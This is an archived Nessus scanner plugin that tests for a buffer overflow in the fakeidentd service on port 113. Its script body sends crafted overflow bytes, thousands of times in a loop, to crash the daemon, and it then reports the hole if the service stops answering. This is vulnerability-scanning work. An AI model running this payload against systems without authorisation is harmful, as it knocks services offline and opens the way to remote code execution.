home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / fake_identd.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  118 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. # It's largely based on lameident3-exp.c by
  4. # sloth@nopninjas.com - http://www.nopninjas.com
  5. #
  6. # This problem was originally found by Jedi/Sector One (j@pureftpd.org)
  7. #
  8. # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
  9. #      Erik Anderson <eanders@carmichaelsecurity.com>
  10. #      Added BugtraqID and additional information reference link
  11. #
  12. # See the Nessus Scripts License for details
  13. #
  14.  
  15. if(description)
  16. {
  17.  script_id(11054);
  18.  script_bugtraq_id(5351);
  19.  
  20.  script_version ("$Revision: 1.4 $");
  21.  
  22.  name["english"] = "fakeidentd overflow";
  23.  script_name(english:name["english"], francais:name["francais"]);
  24.  
  25.  desc["english"] = "
  26. fakeidentd is a minimal identd server that always replies to
  27. requests with a fixed username.
  28.  
  29. There is a buffer overflow in some versions of this program
  30. that allow an attacker to execute arbitrary code on this server.
  31.  
  32. Solution : disable this service if you do not use it, or upgrade
  33. (see http://software.freshmeat.net/projects/fakeidentd/)
  34.  
  35. Additional Info : http://online.securityfocus.com/archive/1/284953
  36.  
  37. Risk factor : High";
  38.  
  39.  
  40.  script_description(english:desc["english"], francais:desc["francais"]);
  41.  
  42.  summary["english"] = "crashes the remote identd";
  43.  summary["francais"] = "plantes le identd distant";
  44.  script_summary(english:summary["english"], francais:summary["francais"]);
  45.  
  46.  script_category(ACT_DESTRUCTIVE_ATTACK);
  47.  
  48.  
  49.  script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison",
  50.         francais:"Ce script est Copyright (C) 2002 Renaud Deraison");
  51.  family["english"] = "Gain root remotely";
  52.  family["francais"] = "Passer root α distance";
  53.  script_family(english:family["english"], francais:family["francais"]);
  54.  script_dependencie("find_service.nes");
  55.  script_require_ports("Services/auth", 113);
  56.  exit(0);
  57. }
  58.  
  59. #
  60. # The script code starts here
  61. #
  62.  
  63. port = get_kb_item("Services/auth");
  64. if(!port) port = 113;
  65. if(!get_port_state(port))exit(0);
  66.  
  67. soc = open_sock_tcp(port);
  68. if(soc)
  69. {
  70.  send(socket:soc, data:string(crap(32), "\r\n"));
  71.  r = recv(socket:soc, length:4096);
  72.  close(soc);
  73.  if(!r)exit(0);
  74. }
  75. else exit(0);
  76.  
  77.  
  78. soc = open_sock_tcp(port);
  79. if(soc)
  80. {
  81.  
  82.  #
  83.  # Due to the nature of the bug, we can't just send crap and hope
  84.  # the remote service will crash....
  85.  #
  86.  # 
  87.  send(socket:soc, data:crap(19));
  88.  deux = raw_string(0x41, 0xEB, 0xEF, 0xFA, 0xB7);
  89.  send(socket:soc, data:deux);
  90.  data = crap(data:raw_string(0xFF), length:19);
  91.  for(i=0;i<6000;i=i+1)
  92.  { 
  93.   send(socket:soc, data:data);
  94.  }
  95.  
  96.  close(soc);
  97.  
  98.  
  99.  soc2 = open_sock_tcp(port);
  100.  send(socket:soc2, data:crap(19));
  101.  deux = raw_string(0x41, 0x5B, 0xFF, 0xFF, 0xFF);
  102.  send(socket:soc2, data:deux);
  103.  trois = raw_string(0xFF, 0xFF, 0xFF, 0xFF);
  104.  send(socket:soc2, data:trois);
  105.  
  106.  close(soc2);
  107.  
  108.  soc2 = open_sock_tcp(port);
  109.  send(socket:soc2, data:string("1234, 1234\n"));
  110.  r = recv(socket:soc2, length:4096);
  111.  close(soc2);
  112.  
  113.  soc3 = open_sock_tcp(port);
  114.  if(!soc3)security_hole(port);
  115.  
  116. }
  117.